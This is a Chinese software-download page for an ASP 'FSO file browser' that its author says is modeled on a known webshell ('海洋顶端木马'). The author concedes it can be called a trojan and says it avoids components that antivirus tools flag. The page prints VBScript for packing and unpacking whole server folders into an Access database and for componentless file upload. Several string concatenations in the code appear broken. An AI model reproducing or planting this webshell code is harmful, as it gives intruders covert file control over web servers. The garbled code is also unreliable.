FSO文件浏览器 v1.0

软件评价：
是否推荐：否相关评论
软件大小：14KB
运行环境：ASP
软件语言：简体中文
软件授权：免费软件
收录/更新：2008-11-30/2008-11-30
下载次数：
标签[?]：FSO 文件浏览器
预览图片：主页
相关链接：暂无演示作者主页
联系作者：

开始下载查看软件介绍评价此软件查看评论去论坛讨论

这是一个利用FSO集合对象编写的FSO文件浏览器（如果你非要说它是木马，我也不反对），在功能上仿照了“海洋顶端木马”设计，不过代码完全是重写的，没有使用如Shell.Application等容易造成杀毒软件误杀的组件。类似的工具网上有很多，本工具使用价值不是很大，但其中的很多代码自认为写的不错的。

主要功能包括：

磁盘信息查看
磁盘文件浏览
类似WindowsExplorer的操作方式
新建、删除、改名、复制、移动等基本文件操作
文本文件编辑
Stream方式文件下载
精简优化的无组件上传
文件打包/解包，一个文件夹可以完整地被打包/解包

代码片断：

1. 文件打包/解包部分

'============================ 文件打包及解包过程 =============================  
'文件打包 
Sub Pack(ByVal FPath, ByVal sDbPath)
    Server.ScriptTimeOut=900
    Dim DbPath
    If Right(sDbPath,4)=".mdb" Then
        DbPath=sDbPath
    Else
        DbPath=sDbPath".mdb"
    End If
 
    If oFso.FolderExists(DbPath) Then
        EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
        Exit Sub
    End If
    If oFso.FileExists(DbPath) Then
        oFso.DeleteFile DbPath
    End If
 
    If IsFolder(FPath) Then
        RootPath=GetParentFolder(FPath)
        If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
    Else
        EchoBack "请输入文件夹路径！"
        Exit Sub
    End If
 
    Dim oCatalog,connStr,DataName
    Set conn=Server.CreateObject("ADODB.Connection")
    Set oStream=Server.CreateObject("ADODB.Stream")
    Set oCatalog=Server.CreateObject("ADOX.Catalog")
    Set rs=Server.CreateObject("ADODB.RecordSet")
    On Error Resume Next
    connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
    oCatalog.Create connStr
    If Err Then
        EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
        Exit Sub
    End If
    Set oCatalog=Nothing
    conn.Open connStr
    conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
    oStream.Open
    oStream.Type=1
    rs.Open "Files",conn,3,3
    DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
    NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
 
    FailFileList=""        '打包失败的文件列表  
    PackFolder FPath
    If FailFilelist="" Then
        EchoClose "文件夹打包成功！"
    Else
        Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
        Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成！\n以下是打包失败的文件列表：');</Script>"
        Response.Write "<body>"&Replace(FailFilelist,"|","<br>")"</body>"
    End If
    oStream.Close
    rs.Close
    conn.Close
End Sub
'添加文件夹（递归） 
Sub PackFolder(FolderPath)
    If Not IsFolder(FolderPath) Then Exit Sub
    Dim oFolder,sFile,sFolder
    Set oFolder=oFso.GetFolder(FolderPath)
    For Each sFile In oFolder.Files
        If InStr(NoPackFiles,"|"&sFile.Name"|")<1 Then
            PackFile sFile.Path
        End If
    Next
    Set sFile=Nothing
    For Each sFolder In oFolder.SubFolders
        PackFolder sFolder.Path
    Next
    Set sFolder=Nothing
End Sub
'添加文件 
Sub PackFile(FilePath)
    Dim RelPath
    RelPath=Replace(FilePath,RootPath,"")
    'Response.Write RelPath & "<br>" 
    On Error Resume Next
    Err.Clear
    Err=False
    oStream.LoadFromFile FilePath
    rs.AddNew
    rs("FilePath")=RelPath
    rs("FileData")=oStream.Read()
    rs.Update
    If Err Then
        '一个文件打包失败  
        FailFilelist=FailFilelist&FilePath"|"
    End If
End Sub
 
'===========================================================================  
'文件解包 
Sub UnPack(vFolderPath,DbPath)
    Server.ScriptTimeOut=900
    Dim FilePath,FolderPath,sFolderPath
    FolderPath=vFolderPath
    FolderPath=Trim(FolderPath)
    If Mid(FolderPath,2,1)<>":" Then
        EchoBack "路径格式错误，无法创建改目录！"
        Exit Sub
    End If
 
    If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
    Dim connStr
    Set conn=Server.CreateObject("ADODB.Connection")
    Set oStream=Server.CreateObject("ADODB.Stream")
    Set rs=Server.CreateObject("ADODB.RecordSet")
    connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
    On Error Resume Next
    Err=False
    conn.Open connStr
    If Err Then
        EchoBack "数据库打开错误！"
        Exit Sub
    End If
    Err=False
    oStream.Open
    oStream.Type=1
    rs.Open "Files",conn,1,1
    FailFilelist=""        '清空失败文件列表  
    Do Until rs.EOF
        Err.Clear
        Err=False
        FilePath=FolderPath"\"&rs("FilePath")
        FilePath=Replace(FilePath,"\\","\")
        sFolderPath=Left(FilePath,InStrRev(FilePath,"\"))
        If Not oFso.FolderExists(sFolderPath) Then
            CreateFolder(sFolderPath)
        End If
        oStream.SetEos()
        oStream.Write rs("FileData")
        oStream.SaveToFile FilePath,2
 
        If Err Then        '添加失败文件项目  
            FailFilelist=FailFilelist&rs("FilePath").Value"|"
        End If
 
        rs.MoveNext
    Loop
    rs.Close
    Set rs=Nothing
    conn.Close
    Set conn=Nothing
    Set oStream=Nothing
    If FailFilelist="" Then
        EchoClose "文件解包成功！"
    Else
        Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
        Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成！\n以下是打包失败的文件列表，请检查');</Script>"
        Response.Write "<body>"&Replace(FailFilelist,"|","<br>")"</body>"
    End If
End Sub
'===========================================================================  

2. 文件上传部分（单一文件）：

'保存上传文件 
Sub Saveupload(ByVal FolderName)
    If Not IsFolder(FolderName) Then
        EchoClose "没有指定上传的文件夹！"
        Exit Sub
    End If
    Dim Path,IsOverWrite
    Path=FolderName
    If Right(Path,1)<>"\" Then Path=Path&"\"
    FileName=Replace(Request("filename"),"\","")
    If Len(FileName)<1 Then
        EchoBack "请选择文件并输入文件名！"
        Exit Sub
    End If
    Path=Path
    If LCase(Request("overwrite"))="true" Then
        IsOverWrite=True
    Else
        IsOverWrite=False
    End If
    On Error Resume Next
    Call MyUpload(Path,IsOverWrite)
    If Err Then
        EchoBack "文件上传失败！（可能是文件已存在）"
    Else
        EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
    End If
End Sub
'文件上传核心代码 
Sub MyUpload(FilePath,IsOverWrite)
    Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
    RequestSize=Request.TotalBytes
    If RequestSize<1 Then Exit Sub
    Set oStream=Server.CreateObject("ADODB.Stream")
    Set tStream=Server.CreateObject("ADODB.Stream")
    With oStream
        .Type=1
        .Mode=3
        .Open
        .Write=Request.BinaryRead(RequestSize)
        .Position=0
        sData=.Read
        bCrLf=ChrB(13)&ChrB(10)
        iSpaceEnd=InStrB(sData,bCrLf)-1
        sSpace=LeftB(sData,iSpaceEnd)
        iInfoStart=iSpaceEnd+3
        iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
        iFileStart=iInfoEnd+5
        iFileEnd=InStrB(iFileStart,sData,sSpace)-3
        sData=""    '清空文件数据  
        iFileSize=iFileEnd-iFileStart+1
        tStream.Type=1
        tStream.Mode=3
        tStream.Open
        .Position=iFileStart-1
        .CopyTo tStream,iFileSize
        If IsOverWrite Then
            tStream.SaveToFile FilePath,2
        Else
            tStream.SaveToFile FilePath
        End If
        tStream.Close
        .Close
    End With
    Set tStream=Nothing
    Set oStream=Nothing
End Sub

加至站内收藏下载错误报告
下载地址：上海电信苏州电信 (新窗口下载) 下载帮助
更多"FSO文件浏览器 v1.0"下载

投一票:

(0)

编辑推荐

最新更新

下载排行

推荐下载

百度搜索

FSO文件浏览器 v1.0

软件简介:

相关软件

相关资讯

网友评论: